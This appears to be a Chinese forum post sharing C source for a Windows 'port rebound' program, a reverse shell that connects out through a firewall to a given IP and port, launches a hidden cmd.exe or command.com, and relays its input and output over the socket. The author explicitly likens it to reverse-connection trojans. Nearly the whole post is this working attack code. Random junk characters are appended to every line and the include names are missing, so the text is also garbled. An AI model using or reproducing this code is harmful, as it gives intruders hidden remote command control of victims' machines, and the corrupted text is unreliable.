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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 b WbXh$  
%`?;V;{=  
/* ==============================  Vp] D  
Rebound port in Windows NT 9XoQO9*Q  
By wind,2006/7 ^K.u ~p   
===============================*/ phgexAq  
#include 6vgBqn[  
#include 8@ %mnyQ  
N=T.l*8  
#pragma comment(lib,"wsock32.lib") 09 39i_  
hH1lgc  
void OutputShell(); F?8BS*r_  
SOCKET sClient; @ 2!C^}d3F  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; JS/M~8+Et  
) Ab6!"'  
void main(int argc,char **argv) 7k] RO  
{ )>y k-  
WSADATA stWsaData; f{igW?Ho  
int nRet; p`:*mf  
SOCKADDR_IN stSaiClient,stSaiServer; $Ei o$TI  
\6lh `U  
if(argc != 3) xEVLE,*?>  
{ JvfQib  
printf("Useage:\n\rRebound DestIP DestPort\n"); oe!:|ck<  
return; {4: -0itG  
} 2f|6z- Z  
4O`6h)!NQ  
WSAStartup(MAKEWORD(2,2),&stWsaData); l801` ~*gO  
WGh. ;-  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wy{\/?~c  
)d +hZ'  
stSaiClient.sin_family = AF_INET; 6X7s 4  
stSaiClient.sin_port = htons(0); g5[D&  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); I(]BMMj  
b4Cfd?'  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d /B'[Ur  
{ o3n3URu\  
printf("Bind Socket Failed!\n"); mG831v?  
return; )RwBg8  
} ?0rOcaTY  
v<;: 0  
stSaiServer.sin_family = AF_INET; hojHbmm4  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); K8 b+   
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =2 &hQd   
l#D-q/k?  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 'lhP!E_)q  
{ M[aT2A  
printf("Connect Error!"); 7L=T]W  
return; Ys-Keyg  
} >1x7UXs~:  
OutputShell(); FXx.$W  
} q*6q}s3n  
#(%t*"IY;  
void OutputShell() )n7|?@5U  
{ |l|_dn  
char szBuff[1024]; 8p (!]^z  
SECURITY_ATTRIBUTES stSecurityAttributes; fokwW}>B[f  
OSVERSIONINFO stOsversionInfo; YC]PN5[1!  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; mEoA#U  
STARTUPINFO stStartupInfo; b'velj3A  
char *szShell; |9>*$Fe"  
PROCESS_INFORMATION stProcessInformation; 0Injyc*bMF  
unsigned long lBytesRead; }A{_L6qx  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);  ~~PgF"v  
R? O-x9  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8HMo.*Ti9  
stSecurityAttributes.lpSecurityDescriptor = 0; GR,J0LT   
stSecurityAttributes.bInheritHandle = TRUE; Aoj6k\YX  
'_B_&is  
K7IyCcdB  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Kb}MF9?:e  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K~c^*;F  
6Wj@r!u  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); U1l0Uke  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fr+@HUOxsl  
stStartupInfo.wShowWindow = SW_HIDE; /b.$jnqL  
stStartupInfo.hStdInput = hReadPipe; (NX)o P  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;  ]}Pl%.  
nV'3sUvR#  
GetVersionEx(&stOsversionInfo); hwiKOP  
>DL/ ..  
switch(stOsversionInfo.dwPlatformId) jm[}M  
{ _=ugxL #eB  
case 1: UL+E,=  
szShell = "command.com"; Bwjg#1E  
break; eY T8$  
default: M[~Jaxw%  
szShell = "cmd.exe"; bSQRLxF  
break; O -G1})$  
} n ]w7Zj  
)S^z+3p  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); J"-_{)0lD  
R1}IeeZO?&  
send(sClient,szMsg,77,0); sltk@  
while(1) 5^yG2&>#  
{ K<FKu $=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @7-=zt+f  
if(lBytesRead) uJgI<l'|e3  
{ LZ{YmD&6]  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `)6>nPr7P  
send(sClient,szBuff,lBytesRead,0); ?cJY B)  
} h1# S+k  
else lr WLN  
{ J{d(1gSZ  
lBytesRead=recv(sClient,szBuff,1024,0); !2z!8kI  
if(lBytesRead<=0) break; R2l[Q){!  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rJ DnuR  
} [[w2p  
} )R~aA#<>  
(^LS']ybc  
return; 0Q'v HZ"  
}
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